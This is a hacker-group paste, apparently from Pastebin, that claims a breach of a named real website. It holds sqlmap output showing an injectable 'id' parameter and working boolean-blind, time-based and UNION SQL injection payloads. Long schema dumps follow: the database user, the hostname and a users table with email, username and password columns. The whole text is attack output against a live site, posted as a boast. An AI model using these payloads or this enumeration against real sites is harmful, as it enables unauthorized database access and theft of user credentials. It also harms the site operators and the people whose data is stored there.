LulzGakusei

www.nusantara.rs/Hacked-by-LulzSec

Aug 29th, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 61.53 KB | None | 0 0
  1. .88888888:. .88888888:.
  2. 88888888.88888. 88888888.88888.
  3. .8888888888888888. Hacked By LulzSec: .8888888888888888.
  4. 888888888888888888 888888888888888888
  5. 88' _`88'_ `88888 88' _`88'_ `88888
  6. 88 88 88 88 88888 88 88 88 88 88888
  7. 88_88_::_88_:88888 Sensei, Marvin, Cixus, Tigre, Ace, Gakusei 88_88_::_88_:88888
  8. 88:::,::,:::::8888 88:::,::,:::::8888
  9. 88`:::::::::'`8888 88`:::::::::'`8888
  10. .88 `::::' 8:88. .88 `::::' 8:88.
  11. 8888 `8:888. 8888 `8:888.
  12. .8888' `888888. .8888' `888888.
  13. .8888:.. .::. ...:'8888888:. .8888:.. .::. ...:'8888888:.
  14. .8888.' :' `'::`88:88888 Penguins who waddle together... .8888.' :' `'::`88:88888
  15. .8888 ' `.888:8888. .8888 ' `.888:8888.
  16. 888:8 . 888:88888 888:8 . 888:88888
  17. .888:88 .: 888:88888: Will survive and thrive together... .888:88 .: 888:88888:
  18. 8888888. :: 88:888888 8888888. :: 88:888888
  19. `.::.888. :: .88888888 `.::.888. :: .88888888
  20. .::::::.888. :: :::`8888'.:. .::::::.888. :: :::`8888'.:.
  21. ::::::::::.888 ' .:::::::::::: ::::::::::.888 ' .::::::::::::
  22. ::::::::::::.8 ' .:8::::::::::::. ::::::::::::.8 ' .:8::::::::::::.
  23. .::::::::::::::. .:888::::::::::::: .::::::::::::::. .:888:::::::::::::
  24. :::::::::::::::88:.__..:88888:::::::::::' :::::::::::::::88:.__..:88888:::::::::::'
  25. `'.:::::::::::88888888888.88:::::::::' `'.:::::::::::88888888888.88:::::::::'
  26. `':::_:' -- '' -'-' `':_::::'` `':::_:' -- '' -'-' `':_::::'`
  27. ________________________________________________________________________________________________________________________
  28.  
  29.  
  30. www.nusantara.rs
  31. Parameter: id (GET)
  32. Type: boolean-based blind
  33. Title: AND boolean-based blind - WHERE or HAVING clause
  34. Payload: id=99 AND 3051=3051
  35. Vector: AND [INFERENCE]
  36.  
  37. Type: AND/OR time-based blind
  38. Title: MySQL >= 5.0.12 AND time-based blind
  39. Payload: id=99 AND SLEEP(2)
  40. Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
  41.  
  42. Type: UNION query
  43. Title: Generic UNION query (NULL) - 4 columns
  44. Payload: id=-7077 UNION ALL SELECT NULL,CONCAT(0x717a767a71,0x6f45765470616963594e6d6d796470756c764d6e6b6c4653616e78766461504f76524c6c61584366,0x7162767071),NULL,NULL-- hovp
  45. Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]
  46. ---
  47. web application technology: Apache
  48. back-end DBMS: MySQL > 5.0.11
  49. banner: '5.7.22-percona-sure1-log'
  50. current user: 'nusantara@localhost'
  51. current database: 'nusantara_vesti'
  52. hostname: 'server278.com'
  53. current user is DBA: False
  54. database management system users [1]:
  55. [*] 'nusantara'@'localhost'
  56.  
  57. database management system users privileges:
  58. [*] 'nusantara'@'localhost' [1]:
  59. privilege: USAGE
  60.  
  61. database management system users roles:
  62. [*] 'nusantara'@'localhost' [1]:
  63. role: USAGE
  64.  
  65. Database: nusantara_vesti
  66. [4 tables]
  67. +---------------------------------------+
  68. | userlevelpermissions |
  69. | userlevels |
  70. | users |
  71. | vest |
  72. +---------------------------------------+
  73.  
  74. Database: information_schema
  75. [74 tables]
  76. +---------------------------------------+
  77. | CHARACTER_SETS |
  78. | CLIENT_STATISTICS |
  79. | COLLATIONS |
  80. | COLLATION_CHARACTER_SET_APPLICABILITY |
  81. | COLUMNS |
  82. | COLUMN_PRIVILEGES |
  83. | ENGINES |
  84. | EVENTS |
  85. | FILES |
  86. | GLOBAL_STATUS |
  87. | GLOBAL_TEMPORARY_TABLES |
  88. | GLOBAL_VARIABLES |
  89. | INDEX_STATISTICS |
  90. | INNODB_BUFFER_PAGE |
  91. | INNODB_BUFFER_PAGE_LRU |
  92. | INNODB_BUFFER_POOL_STATS |
  93. | INNODB_CHANGED_PAGES |
  94. | INNODB_CMP |
  95. | INNODB_CMPMEM |
  96. | INNODB_CMPMEM_RESET |
  97. | INNODB_CMP_PER_INDEX |
  98. | INNODB_CMP_PER_INDEX_RESET |
  99. | INNODB_CMP_RESET |
  100. | INNODB_FT_BEING_DELETED |
  101. | INNODB_FT_CONFIG |
  102. | INNODB_FT_DEFAULT_STOPWORD |
  103. | INNODB_FT_DELETED |
  104. | INNODB_FT_INDEX_CACHE |
  105. | INNODB_FT_INDEX_TABLE |
  106. | INNODB_LOCKS |
  107. | INNODB_LOCK_WAITS |
  108. | INNODB_METRICS |
  109. | INNODB_SYS_COLUMNS |
  110. | INNODB_SYS_DATAFILES |
  111. | INNODB_SYS_FIELDS |
  112. | INNODB_SYS_FOREIGN |
  113. | INNODB_SYS_FOREIGN_COLS |
  114. | INNODB_SYS_INDEXES |
  115. | INNODB_SYS_TABLES |
  116. | INNODB_SYS_TABLESPACES |
  117. | INNODB_SYS_TABLESTATS |
  118. | INNODB_SYS_VIRTUAL |
  119. | INNODB_TEMP_TABLE_INFO |
  120. | INNODB_TRX |
  121. | KEY_COLUMN_USAGE |
  122. | OPTIMIZER_TRACE |
  123. | PARAMETERS |
  124. | PARTITIONS |
  125. | PLUGINS |
  126. | PROCESSLIST |
  127. | PROFILING |
  128. | REFERENTIAL_CONSTRAINTS |
  129. | ROUTINES |
  130. | SCHEMATA |
  131. | SCHEMA_PRIVILEGES |
  132. | SESSION_STATUS |
  133. | SESSION_VARIABLES |
  134. | STATISTICS |
  135. | TABLES |
  136. | TABLESPACES |
  137. | TABLE_CONSTRAINTS |
  138. | TABLE_PRIVILEGES |
  139. | TABLE_STATISTICS |
  140. | TEMPORARY_TABLES |
  141. | THREAD_STATISTICS |
  142. | TRIGGERS |
  143. | USER_PRIVILEGES |
  144. | USER_STATISTICS |
  145. | VIEWS |
  146. | XTRADB_INTERNAL_HASH_TABLES |
  147. | XTRADB_READ_VIEW |
  148. | XTRADB_RSEG |
  149. | XTRADB_ZIP_DICT |
  150. | XTRADB_ZIP_DICT_COLS |
  151. +---------------------------------------+
  152.  
  153. Database: nusantara_vesti
  154. Table: userlevels
  155. [2 columns]
  156. +---------------+-------------+
  157. | Column | Type |
  158. +---------------+-------------+
  159. | UserLevelID | int(11) |
  160. | UserLevelName | varchar(50) |
  161. +---------------+-------------+
  162.  
  163. Database: nusantara_vesti
  164. Table: userlevelpermissions
  165. [3 columns]
  166. +---------------------+-------------+
  167. | Column | Type |
  168. +---------------------+-------------+
  169. | UserLevelID | int(11) |
  170. | UserLevelPermission | int(11) |
  171. | UserLevelTableName | varchar(50) |
  172. +---------------------+-------------+
  173.  
  174. Database: nusantara_vesti
  175. Table: users
  176. [7 columns]
  177. +-----------+--------------+
  178. | Column | Type |
  179. +-----------+--------------+
  180. | Email | varchar(50) |
  181. | IDU | int(11) |
  182. | Ime | varchar(255) |
  183. | Password | varchar(16) |
  184. | Prezime | varchar(255) |
  185. | UserLevel | int(11) |
  186. | Username | varchar(15) |
  187. +-----------+--------------+
  188.  
  189. Database: nusantara_vesti
  190. Table: vest
  191. [8 columns]
  192. +-----------+--------------+
  193. | Column | Type |
  194. +-----------+--------------+
  195. | DateStamp | timestamp |
  196. | DatumV | date |
  197. | IDV | int(11) |
  198. | NaslovE | varchar(200) |
  199. | NaslovS | varchar(200) |
  200. | VaziV | tinyint(4) |
  201. | VestE | text |
  202. | VestS | text |
  203. +-----------+--------------+
  204.  
  205. Database: information_schema
  206. Table: TABLESPACES
  207. [9 columns]
  208. +--------------------+---------------------+
  209. | Column | Type |
  210. +--------------------+---------------------+
  211. | AUTOEXTEND_SIZE | bigint(21) unsigned |
  212. | ENGINE | varchar(64) |
  213. | EXTENT_SIZE | bigint(21) unsigned |
  214. | LOGFILE_GROUP_NAME | varchar(64) |
  215. | MAXIMUM_SIZE | bigint(21) unsigned |
  216. | NODEGROUP_ID | bigint(21) unsigned |
  217. | TABLESPACE_COMMENT | varchar(2048) |
  218. | TABLESPACE_NAME | varchar(64) |
  219. | TABLESPACE_TYPE | varchar(64) |
  220. +--------------------+---------------------+
  221.  
  222. Database: information_schema
  223. Table: ROUTINES
  224. [31 columns]
  225. +--------------------------+---------------------+
  226. | Column | Type |
  227. +--------------------------+---------------------+
  228. | CHARACTER_MAXIMUM_LENGTH | int(21) |
  229. | CHARACTER_OCTET_LENGTH | int(21) |
  230. | CHARACTER_SET_CLIENT | varchar(32) |
  231. | CHARACTER_SET_NAME | varchar(64) |
  232. | COLLATION_CONNECTION | varchar(32) |
  233. | COLLATION_NAME | varchar(64) |
  234. | CREATED | datetime |
  235. | DATA_TYPE | varchar(64) |
  236. | DATABASE_COLLATION | varchar(32) |
  237. | DATETIME_PRECISION | bigint(21) unsigned |
  238. | DEFINER | varchar(93) |
  239. | DTD_IDENTIFIER | longtext |
  240. | EXTERNAL_LANGUAGE | varchar(64) |
  241. | EXTERNAL_NAME | varchar(64) |
  242. | IS_DETERMINISTIC | varchar(3) |
  243. | LAST_ALTERED | datetime |
  244. | NUMERIC_PRECISION | bigint(21) unsigned |
  245. | NUMERIC_SCALE | int(21) |
  246. | PARAMETER_STYLE | varchar(8) |
  247. | ROUTINE_BODY | varchar(8) |
  248. | ROUTINE_CATALOG | varchar(512) |
  249. | ROUTINE_COMMENT | longtext |
  250. | ROUTINE_DEFINITION | longtext |
  251. | ROUTINE_NAME | varchar(64) |
  252. | ROUTINE_SCHEMA | varchar(64) |
  253. | ROUTINE_TYPE | varchar(9) |
  254. | SECURITY_TYPE | varchar(7) |
  255. | SPECIFIC_NAME | varchar(64) |
  256. | SQL_DATA_ACCESS | varchar(64) |
  257. | SQL_MODE | varchar(8192) |
  258. | SQL_PATH | varchar(64) |
  259. +--------------------------+---------------------+
  260.  
  261. Database: information_schema
  262. Table: INNODB_SYS_INDEXES
  263. [8 columns]
  264. +-----------------+---------------------+
  265. | Column | Type |
  266. +-----------------+---------------------+
  267. | SPACE | int(11) |
  268. | INDEX_ID | bigint(21) unsigned |
  269. | MERGE_THRESHOLD | int(11) |
  270. | N_FIELDS | int(11) |
  271. | NAME | varchar(193) |
  272. | PAGE_NO | int(11) |
  273. | TABLE_ID | bigint(21) unsigned |
  274. | TYPE | int(11) |
  275. +-----------------+---------------------+
  276.  
  277. Database: information_schema
  278. Table: INNODB_LOCKS
  279. [10 columns]
  280. +-------------+---------------------+
  281. | Column | Type |
  282. +-------------+---------------------+
  283. | lock_data | varchar(8192) |
  284. | lock_id | varchar(81) |
  285. | lock_index | varchar(1024) |
  286. | lock_mode | varchar(32) |
  287. | lock_page | bigint(21) unsigned |
  288. | lock_rec | bigint(21) unsigned |
  289. | lock_space | bigint(21) unsigned |
  290. | lock_table | varchar(1024) |
  291. | lock_trx_id | varchar(18) |
  292. | lock_type | varchar(32) |
  293. +-------------+---------------------+
  294.  
  295. Database: information_schema
  296. Table: INNODB_SYS_FOREIGN
  297. [5 columns]
  298. +----------+------------------+
  299. | Column | Type |
  300. +----------+------------------+
  301. | FOR_NAME | varchar(193) |
  302. | ID | varchar(193) |
  303. | N_COLS | int(11) unsigned |
  304. | REF_NAME | varchar(193) |
  305. | TYPE | int(11) unsigned |
  306. +----------+------------------+
  307.  
  308. Database: information_schema
  309. Table: INNODB_FT_BEING_DELETED
  310. [1 column]
  311. +--------+---------------------+
  312. | Column | Type |
  313. +--------+---------------------+
  314. | DOC_ID | bigint(21) unsigned |
  315. +--------+---------------------+
  316.  
  317. Database: information_schema
  318. Table: COLUMN_PRIVILEGES
  319. [7 columns]
  320. +----------------+--------------+
  321. | Column | Type |
  322. +----------------+--------------+
  323. | COLUMN_NAME | varchar(64) |
  324. | GRANTEE | varchar(81) |
  325. | IS_GRANTABLE | varchar(3) |
  326. | PRIVILEGE_TYPE | varchar(64) |
  327. | TABLE_CATALOG | varchar(512) |
  328. | TABLE_NAME | varchar(64) |
  329. | TABLE_SCHEMA | varchar(64) |
  330. +----------------+--------------+
  331.  
  332. Database: information_schema
  333. Table: INNODB_SYS_COLUMNS
  334. [6 columns]
  335. +----------+---------------------+
  336. | Column | Type |
  337. +----------+---------------------+
  338. | LEN | int(11) |
  339. | MTYPE | int(11) |
  340. | NAME | varchar(193) |
  341. | POS | bigint(21) unsigned |
  342. | PRTYPE | int(11) |
  343. | TABLE_ID | bigint(21) unsigned |
  344. +----------+---------------------+
  345.  
  346. Database: information_schema
  347. Table: INNODB_CMP_PER_INDEX_RESET
  348. [8 columns]
  349. +-----------------+--------------+
  350. | Column | Type |
  351. +-----------------+--------------+
  352. | compress_ops | int(11) |
  353. | compress_ops_ok | int(11) |
  354. | compress_time | int(11) |
  355. | database_name | varchar(192) |
  356. | index_name | varchar(192) |
  357. | table_name | varchar(192) |
  358. | uncompress_ops | int(11) |
  359. | uncompress_time | int(11) |
  360. +-----------------+--------------+
  361.  
  362. Database: information_schema
  363. Table: INNODB_SYS_FOREIGN_COLS
  364. [4 columns]
  365. +--------------+------------------+
  366. | Column | Type |
  367. +--------------+------------------+
  368. | FOR_COL_NAME | varchar(193) |
  369. | ID | varchar(193) |
  370. | POS | int(11) unsigned |
  371. | REF_COL_NAME | varchar(193) |
  372. +--------------+------------------+
  373.  
  374. Database: information_schema
  375. Table: GLOBAL_VARIABLES
  376. [2 columns]
  377. +----------------+---------------+
  378. | Column | Type |
  379. +----------------+---------------+
  380. | VARIABLE_NAME | varchar(64) |
  381. | VARIABLE_VALUE | varchar(1024) |
  382. +----------------+---------------+
  383.  
  384. Database: information_schema
  385. Table: INNODB_BUFFER_POOL_STATS
  386. [32 columns]
  387. +----------------------------------+---------------------+
  388. | Column | Type |
  389. +----------------------------------+---------------------+
  390. | DATABASE_PAGES | bigint(21) unsigned |
  391. | FREE_BUFFERS | bigint(21) unsigned |
  392. | HIT_RATE | bigint(21) unsigned |
  393. | LRU_IO_CURRENT | bigint(21) unsigned |
  394. | LRU_IO_TOTAL | bigint(21) unsigned |
  395. | MODIFIED_DATABASE_PAGES | bigint(21) unsigned |
  396. | NOT_YOUNG_MAKE_PER_THOUSAND_GETS | bigint(21) unsigned |
  397. | NUMBER_PAGES_CREATED | bigint(21) unsigned |
  398. | NUMBER_PAGES_GET | bigint(21) unsigned |
  399. | NUMBER_PAGES_READ | bigint(21) unsigned |
  400. | NUMBER_PAGES_READ_AHEAD | bigint(21) unsigned |
  401. | NUMBER_PAGES_WRITTEN | bigint(21) unsigned |
  402. | NUMBER_READ_AHEAD_EVICTED | bigint(21) unsigned |
  403. | OLD_DATABASE_PAGES | bigint(21) unsigned |
  404. | PAGES_CREATE_RATE | double |
  405. | PAGES_MADE_NOT_YOUNG_RATE | double |
  406. | PAGES_MADE_YOUNG | bigint(21) unsigned |
  407. | PAGES_MADE_YOUNG_RATE | double |
  408. | PAGES_NOT_MADE_YOUNG | bigint(21) unsigned |
  409. | PAGES_READ_RATE | double |
  410. | PAGES_WRITTEN_RATE | double |
  411. | PENDING_DECOMPRESS | bigint(21) unsigned |
  412. | PENDING_FLUSH_LIST | bigint(21) unsigned |
  413. | PENDING_FLUSH_LRU | bigint(21) unsigned |
  414. | PENDING_READS | bigint(21) unsigned |
  415. | POOL_ID | bigint(21) unsigned |
  416. | POOL_SIZE | bigint(21) unsigned |
  417. | READ_AHEAD_EVICTED_RATE | double |
  418. | READ_AHEAD_RATE | double |
  419. | UNCOMPRESS_CURRENT | bigint(21) unsigned |
  420. | UNCOMPRESS_TOTAL | bigint(21) unsigned |
  421. | YOUNG_MAKE_PER_THOUSAND_GETS | bigint(21) unsigned |
  422. +----------------------------------+---------------------+
  423.  
  424. Database: information_schema
  425. Table: INNODB_METRICS
  426. [17 columns]
  427. +-----------------+--------------+
  428. | Column | Type |
  429. +-----------------+--------------+
  430. | COUNT | bigint(21) |
  431. | AVG_COUNT | double |
  432. | AVG_COUNT_RESET | double |
  433. | COMMENT | varchar(193) |
  434. | COUNT_RESET | bigint(21) |
  435. | MAX_COUNT | bigint(21) |
  436. | MAX_COUNT_RESET | bigint(21) |
  437. | MIN_COUNT | bigint(21) |
  438. | MIN_COUNT_RESET | bigint(21) |
  439. | NAME | varchar(193) |
  440. | STATUS | varchar(193) |
  441. | SUBSYSTEM | varchar(193) |
  442. | TIME_DISABLED | datetime |
  443. | TIME_ELAPSED | bigint(21) |
  444. | TIME_ENABLED | datetime |
  445. | TIME_RESET | datetime |
  446. | TYPE | varchar(193) |
  447. +-----------------+--------------+
  448.  
  449. Database: information_schema
  450. Table: PARTITIONS
  451. [25 columns]
  452. +-------------------------------+---------------------+
  453. | Column | Type |
  454. +-------------------------------+---------------------+
  455. | AVG_ROW_LENGTH | bigint(21) unsigned |
  456. | CHECK_TIME | datetime |
  457. | CHECKSUM | bigint(21) unsigned |
  458. | CREATE_TIME | datetime |
  459. | DATA_FREE | bigint(21) unsigned |
  460. | DATA_LENGTH | bigint(21) unsigned |
  461. | INDEX_LENGTH | bigint(21) unsigned |
  462. | MAX_DATA_LENGTH | bigint(21) unsigned |
  463. | NODEGROUP | varchar(12) |
  464. | PARTITION_COMMENT | varchar(80) |
  465. | PARTITION_DESCRIPTION | longtext |
  466. | PARTITION_EXPRESSION | longtext |
  467. | PARTITION_METHOD | varchar(18) |
  468. | PARTITION_NAME | varchar(64) |
  469. | PARTITION_ORDINAL_POSITION | bigint(21) unsigned |
  470. | SUBPARTITION_EXPRESSION | longtext |
  471. | SUBPARTITION_METHOD | varchar(12) |
  472. | SUBPARTITION_NAME | varchar(64) |
  473. | SUBPARTITION_ORDINAL_POSITION | bigint(21) unsigned |
  474. | TABLE_CATALOG | varchar(512) |
  475. | TABLE_NAME | varchar(64) |
  476. | TABLE_ROWS | bigint(21) unsigned |
  477. | TABLE_SCHEMA | varchar(64) |
  478. | TABLESPACE_NAME | varchar(64) |
  479. | UPDATE_TIME | datetime |
  480. +-------------------------------+---------------------+
  481.  
  482. Database: information_schema
  483. Table: INNODB_FT_INDEX_CACHE
  484. [6 columns]
  485. +--------------+---------------------+
  486. | Column | Type |
  487. +--------------+---------------------+
  488. | POSITION | bigint(21) unsigned |
  489. | DOC_COUNT | bigint(21) unsigned |
  490. | DOC_ID | bigint(21) unsigned |
  491. | FIRST_DOC_ID | bigint(21) unsigned |
  492. | LAST_DOC_ID | bigint(21) unsigned |
  493. | WORD | varchar(337) |
  494. +--------------+---------------------+
  495.  
  496. Database: information_schema
  497. Table: INDEX_STATISTICS
  498. [4 columns]
  499. +--------------+---------------------+
  500. | Column | Type |
  501. +--------------+---------------------+
  502. | INDEX_NAME | varchar(192) |
  503. | ROWS_READ | bigint(21) unsigned |
  504. | TABLE_NAME | varchar(192) |
  505. | TABLE_SCHEMA | varchar(192) |
  506. +--------------+---------------------+
  507.  
  508. Database: information_schema
  509. Table: USER_PRIVILEGES
  510. [4 columns]
  511. +----------------+--------------+
  512. | Column | Type |
  513. +----------------+--------------+
  514. | GRANTEE | varchar(81) |
  515. | IS_GRANTABLE | varchar(3) |
  516. | PRIVILEGE_TYPE | varchar(64) |
  517. | TABLE_CATALOG | varchar(512) |
  518. +----------------+--------------+
  519.  
  520. Database: information_schema
  521. Table: OPTIMIZER_TRACE
  522. [4 columns]
  523. +-----------------------------------+------------+
  524. | Column | Type |
  525. +-----------------------------------+------------+
  526. | INSUFFICIENT_PRIVILEGES | tinyint(1) |
  527. | MISSING_BYTES_BEYOND_MAX_MEM_SIZE | int(20) |
  528. | QUERY | longtext |
  529. | TRACE | longtext |
  530. +-----------------------------------+------------+
  531.  
  532. Database: information_schema
  533. Table: ENGINES
  534. [6 columns]
  535. +--------------+-------------+
  536. | Column | Type |
  537. +--------------+-------------+
  538. | COMMENT | varchar(80) |
  539. | ENGINE | varchar(64) |
  540. | SAVEPOINTS | varchar(3) |
  541. | SUPPORT | varchar(8) |
  542. | TRANSACTIONS | varchar(3) |
  543. | XA | varchar(3) |
  544. +--------------+-------------+
  545.  
  546. Database: information_schema
  547. Table: PARAMETERS
  548. [16 columns]
  549. +--------------------------+---------------------+
  550. | Column | Type |
  551. +--------------------------+---------------------+
  552. | CHARACTER_MAXIMUM_LENGTH | int(21) |
  553. | CHARACTER_OCTET_LENGTH | int(21) |
  554. | CHARACTER_SET_NAME | varchar(64) |
  555. | COLLATION_NAME | varchar(64) |
  556. | DATA_TYPE | varchar(64) |
  557. | DATETIME_PRECISION | bigint(21) unsigned |
  558. | DTD_IDENTIFIER | longtext |
  559. | NUMERIC_PRECISION | bigint(21) unsigned |
  560. | NUMERIC_SCALE | int(21) |
  561. | ORDINAL_POSITION | int(21) |
  562. | PARAMETER_MODE | varchar(5) |
  563. | PARAMETER_NAME | varchar(64) |
  564. | ROUTINE_TYPE | varchar(9) |
  565. | SPECIFIC_CATALOG | varchar(512) |
  566. | SPECIFIC_NAME | varchar(64) |
  567. | SPECIFIC_SCHEMA | varchar(64) |
  568. +--------------------------+---------------------+
  569.  
  570. Database: information_schema
  571. Table: SESSION_STATUS
  572. [2 columns]
  573. +----------------+---------------+
  574. | Column | Type |
  575. +----------------+---------------+
  576. | VARIABLE_NAME | varchar(64) |
  577. | VARIABLE_VALUE | varchar(1024) |
  578. +----------------+---------------+
  579.  
  580. Database: information_schema
  581. Table: COLLATION_CHARACTER_SET_APPLICABILITY
  582. [2 columns]
  583. +--------------------+-------------+
  584. | Column | Type |
  585. +--------------------+-------------+
  586. | CHARACTER_SET_NAME | varchar(32) |
  587. | COLLATION_NAME | varchar(32) |
  588. +--------------------+-------------+
  589.  
  590. Database: information_schema
  591. Table: TABLE_CONSTRAINTS
  592. [6 columns]
  593. +--------------------+--------------+
  594. | Column | Type |
  595. +--------------------+--------------+
  596. | CONSTRAINT_CATALOG | varchar(512) |
  597. | CONSTRAINT_NAME | varchar(64) |
  598. | CONSTRAINT_SCHEMA | varchar(64) |
  599. | CONSTRAINT_TYPE | varchar(64) |
  600. | TABLE_NAME | varchar(64) |
  601. | TABLE_SCHEMA | varchar(64) |
  602. +--------------------+--------------+
  603.  
  604. Database: information_schema
  605. Table: CHARACTER_SETS
  606. [4 columns]
  607. +----------------------+-------------+
  608. | Column | Type |
  609. +----------------------+-------------+
  610. | CHARACTER_SET_NAME | varchar(32) |
  611. | DEFAULT_COLLATE_NAME | varchar(32) |
  612. | DESCRIPTION | varchar(60) |
  613. | MAXLEN | bigint(3) |
  614. +----------------------+-------------+
  615.  
  616. Database: information_schema
  617. Table: INNODB_SYS_VIRTUAL
  618. [3 columns]
  619. +----------+---------------------+
  620. | Column | Type |
  621. +----------+---------------------+
  622. | BASE_POS | int(11) unsigned |
  623. | POS | int(11) unsigned |
  624. | TABLE_ID | bigint(21) unsigned |
  625. +----------+---------------------+
  626.  
  627. Database: information_schema
  628. Table: XTRADB_INTERNAL_HASH_TABLES
  629. [4 columns]
  630. +--------------------------+---------------------+
  631. | Column | Type |
  632. +--------------------------+---------------------+
  633. | CONSTANT_MEMORY | bigint(21) unsigned |
  634. | INTERNAL_HASH_TABLE_NAME | varchar(100) |
  635. | TOTAL_MEMORY | bigint(21) unsigned |
  636. | VARIABLE_MEMORY | bigint(21) unsigned |
  637. +--------------------------+---------------------+
  638.  
  639. Database: information_schema
  640. Table: INNODB_CMP_PER_INDEX
  641. [8 columns]
  642. +-----------------+--------------+
  643. | Column | Type |
  644. +-----------------+--------------+
  645. | compress_ops | int(11) |
  646. | compress_ops_ok | int(11) |
  647. | compress_time | int(11) |
  648. | database_name | varchar(192) |
  649. | index_name | varchar(192) |
  650. | table_name | varchar(192) |
  651. | uncompress_ops | int(11) |
  652. | uncompress_time | int(11) |
  653. +-----------------+--------------+
  654.  
  655. Database: information_schema
  656. Table: INNODB_BUFFER_PAGE_LRU
  657. [20 columns]
  658. +---------------------+---------------------+
  659. | Column | Type |
  660. +---------------------+---------------------+
  661. | SPACE | bigint(21) unsigned |
  662. | ACCESS_TIME | bigint(21) unsigned |
  663. | COMPRESSED | varchar(3) |
  664. | COMPRESSED_SIZE | bigint(21) unsigned |
  665. | DATA_SIZE | bigint(21) unsigned |
  666. | FIX_COUNT | bigint(21) unsigned |
  667. | FLUSH_TYPE | bigint(21) unsigned |
  668. | FREE_PAGE_CLOCK | bigint(21) unsigned |
  669. | INDEX_NAME | varchar(1024) |
  670. | IO_FIX | varchar(64) |
  671. | IS_HASHED | varchar(3) |
  672. | IS_OLD | varchar(3) |
  673. | LRU_POSITION | bigint(21) unsigned |
  674. | NEWEST_MODIFICATION | bigint(21) unsigned |
  675. | NUMBER_RECORDS | bigint(21) unsigned |
  676. | OLDEST_MODIFICATION | bigint(21) unsigned |
  677. | PAGE_NUMBER | bigint(21) unsigned |
  678. | PAGE_TYPE | varchar(64) |
  679. | POOL_ID | bigint(21) unsigned |
  680. | TABLE_NAME | varchar(1024) |
  681. +---------------------+---------------------+
  682.  
  683. Database: information_schema
  684. Table: SCHEMATA
  685. [5 columns]
  686. +----------------------------+--------------+
  687. | Column | Type |
  688. +----------------------------+--------------+
  689. | CATALOG_NAME | varchar(512) |
  690. | DEFAULT_CHARACTER_SET_NAME | varchar(32) |
  691. | DEFAULT_COLLATION_NAME | varchar(32) |
  692. | SCHEMA_NAME | varchar(64) |
  693. | SQL_PATH | varchar(512) |
  694. +----------------------------+--------------+
  695.  
  696. Database: information_schema
  697. Table: COLUMNS
  698. [21 columns]
  699. +--------------------------+---------------------+
  700. | Column | Type |
  701. +--------------------------+---------------------+
  702. | PRIVILEGES | varchar(80) |
  703. | CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned |
  704. | CHARACTER_OCTET_LENGTH | bigint(21) unsigned |
  705. | CHARACTER_SET_NAME | varchar(32) |
  706. | COLLATION_NAME | varchar(32) |
  707. | COLUMN_COMMENT | varchar(1024) |
  708. | COLUMN_DEFAULT | longtext |
  709. | COLUMN_KEY | varchar(3) |
  710. | COLUMN_NAME | varchar(64) |
  711. | COLUMN_TYPE | longtext |
  712. | DATA_TYPE | varchar(64) |
  713. | DATETIME_PRECISION | bigint(21) unsigned |
  714. | EXTRA | varchar(30) |
  715. | GENERATION_EXPRESSION | longtext |
  716. | IS_NULLABLE | varchar(3) |
  717. | NUMERIC_PRECISION | bigint(21) unsigned |
  718. | NUMERIC_SCALE | bigint(21) unsigned |
  719. | ORDINAL_POSITION | bigint(21) unsigned |
  720. | TABLE_CATALOG | varchar(512) |
  721. | TABLE_NAME | varchar(64) |
  722. | TABLE_SCHEMA | varchar(64) |
  723. +--------------------------+---------------------+
  724.  
  725. Database: information_schema
  726. Table: PLUGINS
  727. [11 columns]
  728. +------------------------+-------------+
  729. | Column | Type |
  730. +------------------------+-------------+
  731. | LOAD_OPTION | varchar(64) |
  732. | PLUGIN_AUTHOR | varchar(64) |
  733. | PLUGIN_DESCRIPTION | longtext |
  734. | PLUGIN_LIBRARY | varchar(64) |
  735. | PLUGIN_LIBRARY_VERSION | varchar(20) |
  736. | PLUGIN_LICENSE | varchar(80) |
  737. | PLUGIN_NAME | varchar(64) |
  738. | PLUGIN_STATUS | varchar(10) |
  739. | PLUGIN_TYPE | varchar(80) |
  740. | PLUGIN_TYPE_VERSION | varchar(20) |
  741. | PLUGIN_VERSION | varchar(20) |
  742. +------------------------+-------------+
  743.  
  744. Database: information_schema
  745. Table: CLIENT_STATISTICS
  746. [22 columns]
  747. +------------------------+---------------------+
  748. | Column | Type |
  749. +------------------------+---------------------+
  750. | ACCESS_DENIED | bigint(21) unsigned |
  751. | BINLOG_BYTES_WRITTEN | bigint(21) unsigned |
  752. | BUSY_TIME | bigint(21) unsigned |
  753. | BYTES_RECEIVED | bigint(21) unsigned |
  754. | BYTES_SENT | bigint(21) unsigned |
  755. | CLIENT | varchar(64) |
  756. | COMMIT_TRANSACTIONS | bigint(21) unsigned |
  757. | CONCURRENT_CONNECTIONS | bigint(21) unsigned |
  758. | CONNECTED_TIME | bigint(21) unsigned |
  759. | CPU_TIME | bigint(21) unsigned |
  760. | DENIED_CONNECTIONS | bigint(21) unsigned |
  761. | EMPTY_QUERIES | bigint(21) unsigned |
  762. | LOST_CONNECTIONS | bigint(21) unsigned |
  763. | OTHER_COMMANDS | bigint(21) unsigned |
  764. | ROLLBACK_TRANSACTIONS | bigint(21) unsigned |
  765. | ROWS_FETCHED | bigint(21) unsigned |
  766. | ROWS_UPDATED | bigint(21) unsigned |
  767. | SELECT_COMMANDS | bigint(21) unsigned |
  768. | TABLE_ROWS_READ | bigint(21) unsigned |
  769. | TOTAL_CONNECTIONS | bigint(21) unsigned |
  770. | TOTAL_SSL_CONNECTIONS | bigint(21) unsigned |
  771. | UPDATE_COMMANDS | bigint(21) unsigned |
  772. +------------------------+---------------------+
  773.  
  774. Database: information_schema
  775. Table: INNODB_TEMP_TABLE_INFO
  776. [6 columns]
  777. +----------------------+---------------------+
  778. | Column | Type |
  779. +----------------------+---------------------+
  780. | SPACE | int(11) unsigned |
  781. | IS_COMPRESSED | varchar(64) |
  782. | N_COLS | int(11) unsigned |
  783. | NAME | varchar(202) |
  784. | PER_TABLE_TABLESPACE | varchar(64) |
  785. | TABLE_ID | bigint(21) unsigned |
  786. +----------------------+---------------------+
  787.  
  788. Database: information_schema
  789. Table: INNODB_FT_INDEX_TABLE
  790. [6 columns]
  791. +--------------+---------------------+
  792. | Column | Type |
  793. +--------------+---------------------+
  794. | POSITION | bigint(21) unsigned |
  795. | DOC_COUNT | bigint(21) unsigned |
  796. | DOC_ID | bigint(21) unsigned |
  797. | FIRST_DOC_ID | bigint(21) unsigned |
  798. | LAST_DOC_ID | bigint(21) unsigned |
